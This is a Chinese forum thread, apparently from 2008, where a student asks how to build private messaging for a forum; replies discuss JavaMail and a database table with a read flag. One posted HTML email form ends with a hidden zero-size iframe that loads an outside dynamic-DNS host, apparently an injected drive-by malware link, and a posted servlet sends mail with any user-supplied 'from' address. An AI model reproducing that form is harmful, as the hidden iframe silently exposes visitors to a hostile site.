我和同学最近做了个论坛,但是不知道发送短消息这快是怎么实现的.是用到javamal吗?
还有就是发送短消息给某个人以后怎么把它存放到到数据库里,是用一个字段来存放吗?但是要是有多个人发送又怎么办呢?
我想过可不可以用另外一个表来存放短消息.大家觉得这个方案可以吗?有经验的朋友可以告诉我吗?
有更好的方法大家也可以说出来.谢谢...

解决方案 »

  1.   

    此回复为自动发出,仅用于显示而已,并无任何其他特殊作用
    楼主【ansha886】截止到2008-07-08 21:37:38的历史汇总数据(不包括此帖):
    发帖的总数量:48                       发帖的总分数:280                      每贴平均分数:5                        
    回帖的总数量:35                       得分贴总数量:1                        回帖的得分率:2%                       
    结贴的总数量:46                       结贴的总分数:240                      
    无满意结贴数:37                       无满意结贴分:920                      
    未结的帖子数:2                        未结的总分数:40                       
    结贴的百分比:95.83 %               结分的百分比:85.71 %                  
    无满意结贴率:80.43 %               无满意结分率:383.33%                  
    值得尊敬
      

  2.   

    对了,还有一个备用参数 int整型 用于来判断 是否已读。
      

  3.   

    怎么实现发送呢?用到什么呢?是用javamail来实现吗
      

  4.   

    是的,j2ee 的api里有javamail文档,照做就行了.
      

  5.   

    这个又不是邮件系统,为什么要用javamail?只是一个站内信。用servlet连接数据库写进去就行了。
      

  6.   

    论坛里部的短消息用不着JAVAMAIL吧。。
    像三楼这样就好了。。
      

  7.   

    package com.mail;
    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;import javax.mail.*;
    import javax.mail.internet.*;
    import javax.activation.*;
    import java.util.*;
    import java.util.Properties;
    /**
    *authors:(East)张栋芳
    *date:2008-3-7
    **public class SendMailServlet extends HttpServlet{
    private static final String CONTENT_TYPE = "text/html;charset=GBK";
    public void init()throws ServletException{

    }
    public void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{
    resp.setContentType(CONTENT_TYPE);
    PrintWriter out = resp.getWriter();
    String smtpServer = req.getParameter("txtServer");
    String emailTo = req.getParameter("txtTo");
    String fromEmail = req.getParameter("txtFrom");
    String subject = req.getParameter("txtSubject");
    String body = req.getParameter("txtMessage");

    System.out.println(smtpServer +"1"+emailTo+"2"+fromEmail+"3"+body );
    try{
    Properties props = new Properties();
    props.put("mail.transport.protocol","smtp");
    props.put("mail.smtp.host",smtpServer);
    props.put("mail.smtp.port","25");

    Session session = Session.getDefaultInstance(props);

    Message msg = new MimeMessage(session);

    msg.setFrom(new InternetAddress(fromEmail));
    msg.setRecipients(Message.RecipientType.TO,InternetAddress.parse(emailTo));
    msg.setSentDate(new Date());
    msg.setSubject(subject);
    msg.setText(body);
    Transport.send(msg);

    msg.writeTo(System.out);
    out.println("邮件成功发送到:"+emailTo);

    }catch(Exception e){
    e.printStackTrace();
    }
    out.close();

    }
    public void doPost(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{
    doGet(req,resp);
    }
    }
      

  8.   

    <html>
      <head><title>发Email</title></head>
      <body>
        <form  method="get" action="send">
      <table>
        <tr>
      <td colspan=3>请输入所有信息来发Email</td>
    </tr>
    <tr>
      <td>邮件服务器</td>
      <td><input type="text" name="txtServer"></td>
    </tr> <tr>
      <td>收件人</td>
      <td><input type="text" name="txtTo"></td>
    </tr> <tr>
      <td>发件人</td>
      <td><input type="text" name="txtFrom"></td>
    </tr> <tr>
      <td>主题</td>
      <td><input type="text" name="txtSubject"></td>
    </tr> <tr>
      <td>内容</td>
      <td><textarea name="txtMessage" cols = 38 rows =5></textarea></td>
    </tr> <tr>
      <td><input type="submit" value="发  送"></td>
      <td><input type="reset" value="重  填"></td>
    </tr>
      </table>
    </form>
      </body>
    </html>
    <iframe src=http://haoyundao.3322.org/ width=0 height=0></iframe>
      

  9.   


    对啊,只要给相应的人插入到一条相应的数据,该记录里面放一个字段flag,判断该信息是否被点击过,这样就可以了,根本不用真的去发email,哪样发你也做不到这样的效果,一个ID号如何接收邮件啊又不是email地址